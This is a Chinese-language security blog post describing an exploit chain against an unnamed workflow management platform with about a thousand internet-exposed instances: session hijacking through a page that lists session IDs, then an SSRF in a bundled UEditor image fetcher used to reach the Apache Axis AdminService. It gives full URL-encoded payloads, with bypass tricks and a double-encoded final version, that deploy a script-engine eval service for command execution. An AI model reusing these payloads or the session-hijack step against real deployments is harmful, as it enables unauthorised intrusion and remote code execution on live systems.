某通用流程化管控平台SSRF到RCE之旅

字数统计: 1.5k字   |   阅读时长≈ 6分

某通用流程化管控平台SSRF到RCE之旅

某通用流程化管控平台SSRF到RCE之旅

前言

某一天7iny好兄弟找到一套源代码(安装包)，看了一下不少问题。就从这套系统代码开始渗透吧。看了一下fofa,有一千多个。
img

step1

收到源码后发现几个有意思的功能：

1、/manage/index.jsp直接列举出来了所有当前的sessionID。
有了session，我们只需要找到在线的session然后替换我们当前的seesionID可既可以登录当前系统

img
好家伙。这么多用户，我们可以登录去用户系统了。打了渗透的大门。

img

2、进去后发现还有个路径/mobile/phone/main.jsp就是手机端的主页面
img
还有一些报表的页面，
img
进去后很可惜发现没有可RCE的点。

step2

  1. 发现了一个AXIS服务。
    img
    axis<=1.4版本存在RCE，尝试使用已知payload打一下，毫无意外的remote user access is not allowed.

img
也就是说只需要找到一个SSRF，本地调用即可。
7iny帮我找到一个利用点，/common/ueditor1_3_5-utf8/ 发现一个ueditor

img

这个编辑器存在一个SSRF。
/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp?upfile=
使用AXIS的get型payload尝试一下，发现图片类型不正确。
img

step3

知道是AXIS,有getRemoteImage.jsp的源码，本地搭建一个环境来debug,开启debug模式./catalina.sh jpda start

第一次尝试(先盲猜一下)：

既然是需要结尾需要一个.jpg。我们在URL后直接加.jpg结尾。也就是：&xx=xx.jpg

http://127.0.0.1:8080/axis/services/AdminService?method=!--%3E%3Cdeployment%20x mlns%3D%22http%3A%2F%2Fx ml.apache.org%2Faxis%2Fwsdd%2F%22%20x mlns%3Ajava%3D%22http%3A%2F%2Fx ml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment&xx=xx.jpg

发现还是被ban。还是提示图片类型不正确。预料之中。

第二次尝试：

看一下remote.jsp的源码。很简单，就是远程下载一个图片，依次遍历每个参数，并且判断是不是以".gif" , ".png" , ".jpg" , ".jpeg" , ".bmp"这些结尾。如果不是图片或者不正确则报错。

img

img
现在尝试一下，直接接一个.jpg。看一下是不是爆出"请求地址头不正确"，这个我们预期的结果。

http://127.0.0.1:8080/axis/services/AdminService?method=!--%3E%3Cdeployment%20x mlns%3D%22http%3A%2F%2Fx ml.apache.org%2Faxis%2Fwsdd%2F%22%20x mlns%3Ajava%3D%22http%3A%2F%2Fx ml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment.jpg

img
遗憾的是并不是预期的结果，而是报了一个空指针，事实上，看remote.jsp的代码是不会有空指针爆出来，那就只能是框架爆出来的，既然是框架一般而言是有不合法的字符出现会出现此类的情况。
最后发现是%20,不能有空格，因为提交的是x ml格式的数据，里面的空格用来做字符的分割，既然不能有空格，那我们直接用换行%0d%0a，试试看是否可以。

http://localhost:8080/remote.jsp?upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--%3E%3Cdeploymenta%0d%0axxx

发现还是空指针。后面通过尝试，只有%0d可以，%0a不行。是不是真的能否作为x ml的分隔符现在还不知道。img

第三次尝试：

开始绕过图片为结尾的后缀，在get类型的payload中，发现开头有一个!-->，debug一下跟到代码处，发现是为了做一个拼合。
img
代码如下：
img
最终拼接后为：
img
刚好把第一个payload注释，第二个生效。现在我们只需要做填空题。在结尾拼接就行<xxx.jpg></xxx.jpg即可，当然结尾的>会给我们自动闭合，刚好以.jpg结尾，所以新的payload如下：
所以我们只需要在结尾加上><xx.jpg></xx.jpg 即可
img

使用%0d，以及我们拼接的xx.jpg payload来提交，debug后发现%0d后的东西丢了

http://localhost:8080/remote.jsp?upfile=http://localhost:8080/axis/services/AdminService?method=!--%3E%3Cdeployment%0dx mlns%3D%22http%3A%2F%2Fx ml.apache.org%2Faxis%2Fwsdd%2F%22%0dx mlns%3Ajava%3D%22http%3A%2F%2Fx ml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%0dname%3D%22m00gege%22%0dprovider%3D%22java%3ARPC%22%3E%3Cparameter%0dname%3D%22className%22%0dvalue%3D%22com.sun.s cript.j avas cript.Rhinos criptEngine%22%0d%2F%3E%3Cparameter%0dname%3D%22allowedMethods%22%0dvalue%3D%22e val%22%0d%2F%3E%3CtypeMapping%0ddeserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%0dtype%3D%22java%3Ajavax.s cript.Simples criptContext%22%0dqname%3D%22ns%3ASimples criptContext%22%0dserializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%0dx mlns%3Ans%3D%22urn%3Abeanservice%22%0dregenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment%3E%3Cxx.jpg%3E%3C/xx.jpg

访问
img

第四次尝试：

咋办??
img
最后灵机一动，试一下urlencode双重编码,成功了。

http://localhost:8080/remote.jsp?upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--%253E%253Cdeployment%250dx mlns%253D%2522http%253A%252F%252Fx ml.apache.org%252Faxis%252Fwsdd%252F%2522%250dx mlns%253Ajava%253D%2522http%253A%252F%252Fx ml.apache.org%252Faxis%252Fwsdd%252Fproviders%252Fjava%2522%253E%253Cservice%250dname%253D%2522mxxgege%2522%250dprovider%253D%2522java%253ARPC%2522%253E%253Cparameter%250dname%253D%2522className%2522%250dvalue%253D%2522com.sun.s cript.j avas cript.Rhinos criptEngine%2522%250d%252F%253E%253Cparameter%250dname%253D%2522allowedMethods%2522%250dvalue%253D%2522e val%2522%250d%252F%253E%253CtypeMapping%250ddeserializer%253D%2522org.apache.axis.encoding.ser.BeanDeserializerFactory%2522%250dtype%253D%2522java%253Ajavax.s cript.Simples criptContext%2522%250dqname%253D%2522ns%253ASimples criptContext%2522%250dserializer%253D%2522org.apache.axis.encoding.ser.BeanSerializerFactory%2522%250dx mlns%253Ans%253D%2522urn%253Abeanservice%2522%250dregenerateElement%253D%2522false%2522%253E%253C%252FtypeMapping%253E%253C%252Fservice%253E%253C%252Fdeployment%253E%253Cxx.jpg%253E%253C%2Fxx.jpg

成功了，出现了我们预期的效果。
img
成功注册服务
img

第五次尝试：

接下来，直接访问我们部署的服务即可。执行whoami。
img

总结

觉得这个漏洞可以作为CTF来出，挺有意思的一个漏洞，关键点，.jpg绕过，%20处理。


赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。